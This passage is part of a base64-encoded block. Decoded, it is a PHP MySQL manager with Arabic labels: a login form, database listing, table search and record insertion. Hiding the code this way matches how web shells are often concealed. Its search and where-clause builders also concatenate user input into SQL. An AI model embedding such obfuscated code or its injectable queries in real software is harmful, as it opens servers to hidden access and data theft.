dwb3N0JyBhY3Rpb249JyRhY3Rpb24nPiI7DQogICAgICAgIGlmKGNvdW50KCRob3N0ZGVmYXVsdCkgPiAxKXsNCiAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4/Pz8gQz8/Pz8/Pz86PC90ZD48dGQ+PHNlbGVjdCBuYW1lPWhvc3Q+IjsNCiAgICAgICAgICAgIGZvcigkeD0wOyAkeCA8IGNvdW50KCRob3N0ZGVmYXVsdCk7JHgrKyl7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRob3N0ZGVmYXVsdFskeF0+JGhvc3RkZWZhdWx0WyR4XSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyI8dHI+PHRkPtPt0d3RIN7mx9rPIMfhyO3H5MfKOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0naG9zdCcgc2l6ZT0xNSB2YWx1ZT0kaG9zdGRlZmF1bHQgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPsfT4yDH4ePTys7P4zo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3VzZXJpZCcgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPt/h4+Ugx+Hj0ebROjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9J3B3b3JkMScgc2l6ZT0xNSAvPjwvdGQ+PC90cj5cbiI7DQoNCiAgICAgICAgICAgICAgICBJZigkZGJuYW1lYXJyYXkgIT0gIiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPj9DP0lFIEM/RT9DP0NFOjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0nZGJuYSc+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCBjb3VudCgkZGJuYW1lYXJyYXkpOyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRkYm4+JGRibiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD48aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9naW4nIHZhbHVlPSfPzubhJyAvPjwvdGQ+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPHRkPjxpbnB1dCBjbGFzcz1zZXIgdHlwZT1yZXNldCBuYW1lPSdyZXNldCcgdmFsdWU9J+PTzScgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPC9mb3JtPjwvdGFibGU+XG4iOw0KDQp9DQoNCmZ1bmN0aW9uIGRicmVzdHJpY3QoKXsNCmlmKGlzc2V0KCRfU0VTU0lPTlsndXNlciddKSl7DQogICAgJHVzZXI9JF9TRVNTSU9OWyd1c2VyJ107DQoNCiAgICBzd2l0Y2goJHVzZXIpew0KDQogICAgLy9FZGl0IHRoZXNlICoqIHZhbHVlcy4gWW91IGNhbiBhZGQgbW9yZSBjYXNlIHN0YXRlbWVudHMuDQogICAgICAgIGNhc2UgJyoqVXNlcioqJzoNCiAgICAgICAgICAgICRkYm5hbWVhcnJheT0gYXJyYXkoJyoqZGJuYW1lKionLCAnKipkYm5hbWUyKionLCAnKipkYm5hbWUqKicpOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgIC8vZW5kIGVkaXQgdmFsdWVzDQoNCiAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZGVmYWx0dXNlciddPXRydWU7DQogICAgICAgICAgICAkZGJuYW1lYXJyYXkgPSBhcnJheSgpOw0KICAgICAgICAgICAgJGxpbmsgPSBjb25uZWN0bXlzcWwoKTsNCg0KICAgICAgICAgICAgJGRiX2xpc3QgPSBteXNxbF9saXN0X2RicygkbGluayk7IC8vJGRiX2xpc3QNCiAgICAgICAgICAgICAgICAgICAgJGNudCA9IG15c3FsX251bV9yb3dzKCRkYl9saXN0KTsNCiAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCAkY250OyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRibmFtZWFycmF5WyRpXT0gbXlzcWxfZGJfbmFtZSgkZGJfbGlzdCwgJGkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkZGJuYW1lYXJyYXk7DQp9DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KLy9mdW5jdGlvbiBzaG93ZGJzKCRkYm5hbWVhcnJheSwgJGJhY2t1cHBhdGgpew0KZnVuY3Rpb24gc2hvd2RicygkZGJuYW1lYXJyYXkpew0KICAgIC8vJGJhY2t1cHBhdGg9YWRkc2xhc2hlcygkYmFja3VwcGF0aCk7DQogICAgICAgZWNobyI8dGFibGU+XG4iOw0KICAgICAgIGZvciAoJGkgPTA7ICRpIDwgY291bnQoJGRibmFtZWFycmF5KTsgJGkrKykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvIjx0cj48dGQ+IjsNCiAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR2YT0ix+HQ5cfIIMfh7CDex9rPySAkZGJuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGdvdG8oJyAnLCAkZGJuLCRhY3Rpb24sICdidXQnLCAnZGInLCAkdmEgKTsNCg0KICAgICAgICAgICAgJGRicz1teXNpemUoJGRibmFtZWFycmF5WyRpXSwiIik7DQogICAgICAgICAgICBlY2hvIjwvdGQ+PHRkPiRkYnM8L3RkPjwvdHI+XG4iOw0KICAgICAgICB9DQogICAgZWNobyI8L3RhYmxlPlxuIjsNCn0NCg0KDQovLyoqKioqKioqKioqKioqKioqKioqKiBTaG93IExvZ291dCBCdXR0b24gKioqKioqKioqKg0KZnVuY3Rpb24gZW5kc2Vzcygpew0KZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG5hbWU9J2VuZHNlc3MnIGFjdGlvbj0nJGFjdGlvbic+XG4iOw0KZWNobyI8aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9nb3V0JyB2YWx1ZT0nztHmzCcgLz5cbiI7DQplY2hvIjwvZm9ybT4iOw0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0bXlzcWwoKXsNCiAgICAgICAgLy9Db25uZWN0cyB0byB0aGUgTXlTUUwgRGF0YWJhc2UuDQoNCg0KICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pICYmIGlzc2V0KCRfU0VTU0lPTlsncGFzc3dvcmQnXSkpew0KICAgICAgICAgICAgICAgICAkdXNlciA9ICRfU0VTU0lPTlsndXNlciddOw0KICAgICAgICAgICAgICAgICAkcGFzcyA9ICRfU0VTU0lPTlsncGFzc3dvcmQnXTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgIGRpc3BsYXlfZm9vdCgpOw0KICAgICAgICBlY2hvIlxuPC9ib2R5PlxuPC9odG1sPiI7DQogICAgICAgICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9DQogICAgICAgICRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJF9TRVNTSU9OWydob3N0J10sICRfU0VTU0lPTlsndXNlciddLCAkX1NFU1NJT05bJ3Bhc3N3b3JkJ10pOw0KICAgICAgICBpZighICRsaW5rKXsNCiAgICAgICAgICAgICAgICBlY2hvIjxkaXYgY2xhc3M9J2Vycm9yJz5cbiI7DQogICAgICAgICAgICAgICAgZWNobyJVbmFibGUgdG8gY29ubmVjdCB0byB0aGUgZGF0YWJhc2Ugc2VydmVyLiA8QlI+IjsNCiAgICAgICAgICAgICAgICBlY2hvIlRoZSBIb3N0OiAkX1NFU1NJT05baG9zdF0sIMfT4yDH4ePTys7P4zogJHVzZXIgx+Ygx+Hf4ePlIMfh09Ht5SDO2MfBLiA8YnI+IjsNCiAgICAgICAgICAgICAgICBlY2hvIt3W4cfwINPM4SDO0ebMIOHh483H5uHlIOPR5SDHztHsLlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZGl2PlxuIjsNCg0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9IGVsc2V7DQogICAgICAgICAgICAgICAgcmV0dXJuICRsaW5rOw0KICAgICAgICB9DQoNCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBjb25uZWN0ZGIoJGRiLCAkbGluayl7DQogICAgICAgIGlmKCEgbXlzcWxfc2VsZWN0X2RiKCRkYiwkbGluaykpew0KICAgICAgICAgICAgICAgIGVjaG8iVW5hYmxlIHRvIGxvY2F0ZSBkYXRhYmFzZSAkZGIuPGJyPiBQbGVhc2UgdHJ5IGFnYWluIGxhdGVyLlxuIjsNCiAgICAgICAgICAgICAgICBleGl0KCk7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBleGVxdWVyeSgkc3FsLCAkdGFibGVuYW1lLCAkZGIpew0KICAgICAgICAkcmVzdWx0PSBAbXlzcWxfcXVlcnkoICRzcWwgKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgLy9lY2hvICJRdWVyeSBzdWNjZXNzZnVsIjsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyJTb3JyeSB5b3VyIFF1ZXJ5IGZhaWxlZDogJHNxbCA8YnI+IGVycm9yOiIubXlzcWxfZXJyb3IoKS4iXG4iOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KDQoNCi8vKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQokZmllbGR0eXBlcyA9IGFycmF5KCJCSUdJTlQiLCAiQkxPQiIsICJDSEFSIiwgIkRBVEUiLCAiREFURVRJTUUiLCAiREVDSU1BTCIsICJET1VCTEUiLCAiRU5VTSIsICJGTE9BVCIsDQogICJJTlQiLCAiSU5URUdFUiIsICJMT05HQkxPQiIsICJMT05HVEVYVCIsICJNRURJVU1CTE9CIiwgIk1FRElVTUlOVCIsICJNRURJVU1URVhUIiwgIk5VTUVSSUMiLCAiUFJFQ0lTSU9OIiwNCiAiUkVBTCIsIlNFVCIsICJTTUFMTElOVCIsICJURVhUIiwgIlRJTUUiLCAiVElNRVNUQU1QIiwgIlRJTllCTE9CIiwgIlRJTllJTlQiLCAiVElOWVRFWFQiLCAiVkFSQ0hBUiIsICJZRUFSIiApOw0KDQoNCi8vKioqKioqKioqKioqKioqKioqIFNlYXJjaCBGb3JtICoqKioqKioqKioqKioqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIHNlYXJjaHRhYmxlZm9ybSgkdGFibGVuYW1lLCAkZGJuYW1lKXsNCiAgICAgICAgZWNobyI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nJGFjdGlvbic+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdkYm5hbWUnIHZhbHVlPSckZGJuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ndGFibGVuYW1lJyB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdzZWFyY2h2YWwnIC8+XG4iOw0KICAgICAgICBlY2hvIjxpbnB1dCBjbGFzcz1zZXIgdHlwZT1zdWJtaXQgbmFtZT0nc2VhcmNoJyB2YWx1ZT0nU2VhcmNoICR0YWJsZW5hbWUnIC8+XG4iOw0KICAgICAgICBlY2hvIjwvZm9ybT5cbiI7DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKiBTZWFyY2ggKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2VhcmNodCgkdGFibGVuYW1lLCAkZGJuYW1lLCAkc2VhcmNodmFsKXsNCiAgICAgICAgaWYoISBlbXB0eSgkc2VhcmNodmFsKSl7DQogICAgICAgICAgICAgICAgLy8gICAgICAgICRzZWFyY2h2YWw9IHN0cl9yZXBsYWNlKCI7IiwnICcsICRzZWFyY2h2YWwpOw0KICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCJTZWxlY3QgKiBmcm9tICR0YWJsZW5hbWUiLCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgICAgICAgICAvLyRyZXN1bHQ9bXlzcWxfcXVlcnkoIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIpOw0KICAgICAgICAgICAgICAgICRudW0gPSBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICRmaWVsZHMgPSBteXNxbF9saXN0X2ZpZWxkcygkZGJuYW1lLCAkdGFibGVuYW1lKTsNCiAgICAgICAgICAgICAgICAkd2hyPSJ3aGVyZSAiOw0KICAgICAgICAgICAgICAgICR0b2s9ZXhwbG9kZSgiICIsJHNlYXJjaHZhbCk7DQogICAgICAgICAgICAgICAgZm9yICgkdCA9MDsgJHQgPCBjb3VudCgkdG9rKTsgJHQrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCAkYyA9IDA7ICRjIDwgJG51bTsgJGMrKyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmbiA9bXlzcWxfZmllbGRfbmFtZSgkZmllbGRzLCAkYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aHIgLj0iICRmbiBsaWtlICclJHRva1skdF0lJyBvciAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkd2hyPXRyaW0oc3Vic3RyX3JlcGxhY2UoJHdociwgIiAiLCAtMykpOw0KICAgICAgICAgICAgICAgICRxdWVyeT0iU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lICR3aHIiOw0KICAgICAgICAgICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgfQ0KDQp9DQovLyoqKioqKioqKioqKioqKioqKioqKkdPVE8gYnV0dG9ucyoqKioqKioqKioqKioqKioqKioqKioqKioNCi8vcHJvdmlkZXMgYSBmb3JtIGFuZCBidXR0b24uDQoNCmZ1bmN0aW9uIGdvdG8oJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFjdGlvbiwgJGNsYXNzLCAkbmFtZSwgJHZhICl7DQogICAgICAgIC8vQWRkcyBhIGJ1dHRvbi4NCg0KICAgICAgICBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOw0KDQogICAgICAgICAgICAgICAgaWYoISBlcmVnaSgndGFibGVzdGFydCcsICRuYW1lKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0nJGRibmFtZScgLz5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0nJHRhYmxlbmFtZScgLz5cbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPGlucHV0IGNsYXNzPSRjbGFzcyB0eXBlPXN1Ym1pdCAgdmFsdWU9JyR2YScgbmFtZT0nJG5hbWUnIC8+XG4iOw0KICAgICAgICAgICAgICAgIC8vZWNobyI8aW5wdXQgY2xhc3M9JGNsYXNzIHR5cGU9c3VibWl0ICB2YWx1ZT0nJGFjdGlvbicgbmFtZT0kbmFtZT4iOw0KICAgICAgICBlY2hvIjwvZm9ybT5cbiI7DQoNCiAgICAgICAgLy9lY2hvIjxhIGNsYXNzPSRjbGFzcyBocmVmPSRhY3Rpb24+JHZhPC9hPiI7DQogICAgICAgIC8vfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKioqIFNob3dEQiAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24gc2hvd2RiKCl7DQovL2Z1bmN0aW9uIHNob3dkYigkYmFja3VwcGF0aCl7DQoNCiAgICAgICAgJGxpbms9Y29ubmVjdG15c3FsKCk7DQogICAgICAgIGlmICgkbGluayl7DQogICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nZGInPiI7DQogICAgICAgICAgICAgICAgZWNobyI8ZGl2IGNsYXNzPSdjcmVhbSc+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGgyIGNsYXNzPWggPsXk1MfBIN7H2s/JIMzP7c/JPC9oMj5cbiI7DQoNCiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtIG5hbWU9Y2RiIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0JyA+XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8iw9PjIMfh3sfaz8kgx+HMz+3PyTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5kYm5hbWUgLz5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8YnIgLz48YnIgLz48aW5wdXQgY2xhc3M9YnV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY25kYicgdmFsdWU9J8Xk1MfBIN7H2s/JIMzP7c/JJyAvPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZm9ybT48YnIgLz4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAgICAgICAgICAgICBlY2hvIjxoMiBjbGFzcz1oID7ex8bj5SDH4d7mx9rPIMfh48rm3dHlPC9oMj5cbiI7DQogICAgICAgICAgICAgICAgLy9SZXN0cmljdCB0aGUgZGF0YWJhc2UgZm9yIHVzZXJzDQogICAgICAgICRkYm5hbWVhcnJheT0gZGJyZXN0cmljdCgpOw0KICAgICAgICBzaG93ZGJzKCRkYm5hbWVhcnJheSk7DQogICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAgICAgICAgfQ0KDQp9DQoNCi8vKioqKioqKioqKioqKioqKioqKioqKiBCdWlsZFdociAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCi8vQnVpbGRzIHRoZSBXaGVyZSBwYXJ0IG9mIHF1ZXJpZXMuDQoNCmZ1bmN0aW9uIGJ1aWxkd2hyKCRwaywgJHB2KXsNCiAgICAgICAgJHdocj0iIjsNCiAgICAgICAgJHBuID1jb3VudCgkcHYpOw0KICAgICAgICBmb3IoJHQgPTA7ICR0IDwgJHBuOyAkdCsrKXsNCiAgICAgICAgICAgICAgICAkd2hyLj0iJHBrWyR0XT0nJHB2WyR0XSciOw0KICAgICAgICAgICAgICAgIGlmKCR0IDwgJHBuLTEpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdoci49IiBhbmQgIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR3aHIgIT0iICIpew0KICAgICAgICAgICAgICAgIHJldHVybiAkd2hyOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioqKioqKioqKipBREQgUmVjb3JkICoqKioqKioqKioqKioqKioqKg0KDQpmdW5jdGlvbiBhZGRyZWNvcmQoJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFycmF5KXsNCiAgICAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogICAgICAgIC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsNCg0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgIC8vJGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOw0KICAgICAgICAgICAkcXJ5PSIgIjsNCiAgICAkcXVlcnkgPSAiSW5zZXJ0IGludG8gJHRhYmxlbmFtZSBWYWx1ZXMoICI7DQogICAgICAgIGZvciAoJHggPTA7ICR4IDwgJGZsZHM7ICR4Kyspew0KICAgICAgICAvL011bHRpcGxlIFNlbGVjdCB2YWx1ZXMgZm9yIFNFVA0KDQogICAgICAgaWYoaXNfYXJyYXkoJGFycmF5WyR4XSkpew0KICAgICAgICAgICAgJG12YWw9IiI7DQogICAgICAgICAgICBmb3IoJG09MDsgJG0gPCBjb3VudCgkYXJyYXlbJHhdKTsgJG0rKyl7DQogICAgICAgICAgICAgICAgaWYoJG0rMSA9PSBjb3VudCgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAgICAgICAgICRtdmFsLj0gQWRkU2xhc2hlcygkYXJyYXlbJHhdWyRtXSk7DQoNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNoZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcXJ5IC49ICInJGZ2YWwnIjsNCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkcXVlcnkgLj0gJHFyeS4iKSI7DQogICAvLyBlY2hvInFyeTogJHFyeSI7DQogICAgICAgICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAgaWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KDQovLyoqKioqKioqKioqKioqKioqKioqKipBREQgRm9ybSAqKioqKioqKioqKioqKioqKioqKioqDQoNCmZ1bmN0aW9uIGFkZGZvcm0oJHRhYmxlbmFtZSwgJGRibmFtZSl7DQogLy9EaXNwbGF5IHRoZSBmaWVsZCBuYW1lcyBhbmQgaW5wdXQgYm94ZXMNCiBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0aG9kPSdwb3N0Jz5cbiI7DQogZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnIGFsaWduPSdjZW50ZXInPlxuIjsNCiBlY2hvIjx0ciBjbGFzcz1oZWFkPjx0ZD5GaWVsZCBOYW1lPC90ZD48dGQ+VHlwZTwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPlxuIjsNCiAgJHJlc3VsdD1leGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogLy8kcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCAiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiApOw0KICRmbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCiAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMoJGRibmFtZSwgJHRhYmxlbmFtZSk7DQogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KIGVjaG8iPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KIGVjaG8iPHRyPlxuIjsNCg0KICRteGxlbiA9IDgwOy8vbWF4IHdpZHRoIG9mIHRoZSBmb3JtIGZpZWxkcy4NCiBmb3IoJGk9MDsgJGkgPCAkZmxkczsgJGkrKyl7DQogICAgICAkYXV0byA9ICJmYWxzZSI7DQogICAgICBlY2hvICI8dGg+Ii5teXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsNCiAgICAgICRmaWVsZG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRmaWVsZHMsICRpKTsgIC8vIGFkZGVkDQogICAgICAkdHlwZSAgPSBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsNCiAgICAgICRmbGVuID0gbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsvL2xlbmd0aCBvZiB0aGUgZmllbGQNCiAgICAgICRmbGFnc3RyaW5nID0gbXlzcWxfZmllbGRfZmxhZ3MgKCRyZXN1bHQsICRpKTsNCiAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgJG5ld3NxbCA9ICJzaG93IGNvbHVtbnMgZnJvbSAkdGFibGVuYW1lIGxpa2UgJyUiLiRmaWVsZG5hbWUuIiciOw0KICAgICAgJG5ld3Jlc3VsdCA9IGV4ZXF1ZXJ5KCRuZXdzcWwsICR0YWJsZW5hbWUsICRkYm5hbWUpOw0KICAgICAgLy9teXNxbF9xdWVyeSgkbmV3c3FsKSBvciBkaWUgKCdJIGNhbm5vdCBnZXQgdGhlIHF1ZXJ5IGJlY2F1c2U6ICcgLiBteXNxbF9lcnJvcigpKTsNCiAgICAgICRhcnI9bXlzcWxfZmV0Y2hfYXJyYXkoJG5ld3Jlc3VsdCk7DQogICAgLy8gRW5kIG9mIG5ldyBjb2RlIGJsb2NrIGZvciBzZXQgZHJvcCBkb3duDQogICAgICBpZiAoZXJlZ2koInByaW1hcnkiLCRmbGFnc3RyaW5nICkpew0KICAgICAgICR0eXBlIC49ICIgUEsgIjsNCiAgICAgIH0NCiAgICAgIGlmKGVyZWdpKCJhdXRvIiwkZmxhZ3N0cmluZyApKXsNCiAgICAgICAkdHlwZSAuPSAiIGF1dG9faW5jcmVtZW50IjsNCiAgICAgICAkYXV0byA9ICJ0cnVlIjsNCiAgICAgIH0NCiAgICAgIGlmICgkYXV0bz09InRydWUiKXsNCiAgICAgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2FycmF5WyRpXScgc2l6ZT0nJGZsZW4nIHZhbHVlPTAgLz48L3RkPjwvdHI+XG4iOw0KICAgICAgfWVsc2VpZigkZmxlbiA+ICRteGxlbil7DQogICAgICAgICRyd3M9ICRmbGVuLyRteGxlbjsNCiAgICAgICAgaWYoJHJ3cz4xMCl7DQogICAgICAgICAgICAgJHJ3cz0xMDsgLy9tYXggbGVuZ3RoIG9mIHRleHRhcmVhDQogICAgICAgIH0NCiAgICAgICAgZWNobyI8dGQ+JHR5cGU8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0nYXJyYXlbJGldJyByb3dzPSRyd3MgY29scz0kbXhsZW4+PC90ZXh0YXJlYT48L3RkPjwvdHI+XG4iOw0KICAgICAgICAvLyBTdGFydCBvZiBuZXcgY29kZSBmb3Igc2V0IGRyb3AgZG93bg0KICAgICAgfWVsc2VpZiAoc3RybmNtcCgkYXJyWzFdLCdzZXQnLDMpPT0wIHx8IHN0cm5jbXAoJGFyclsxXSwnZW51bScsNCk9PTApeyAgLy8gV2UgaGF2ZSBhIGZpZWxkIHR5cGUgb2Ygc2V0IG9yIGVudW0NCiAgICAgICAkbnVtPXN1YnN0cl9jb3VudCgkYXJyWzFdLCcsJykgKyAxOyAgLy8gY291bnQgdGhlIG51bWJlciBvZiBlbnRyaWVzDQogICAgICAgJHBvcz1zdHJwb3MoJGFyclsxXSwnKCcgKTsgLy9maW5kIHRoZSBwb3NpdGlvbiBvZiAnKCcNCiAgICAgICAkbmV3c3RyaW5nPXN1YnN0cigkYXJyWzFdLCRwb3MrMSk7ICAvLyBnZXQgcmlkIG9mIHRoZSAnPz8/KCcNCiAgICAgICAkc25ld3N0cmluZz1zdHJfcmVwbGFjZSgnKScsJycsJG5ld3N0cml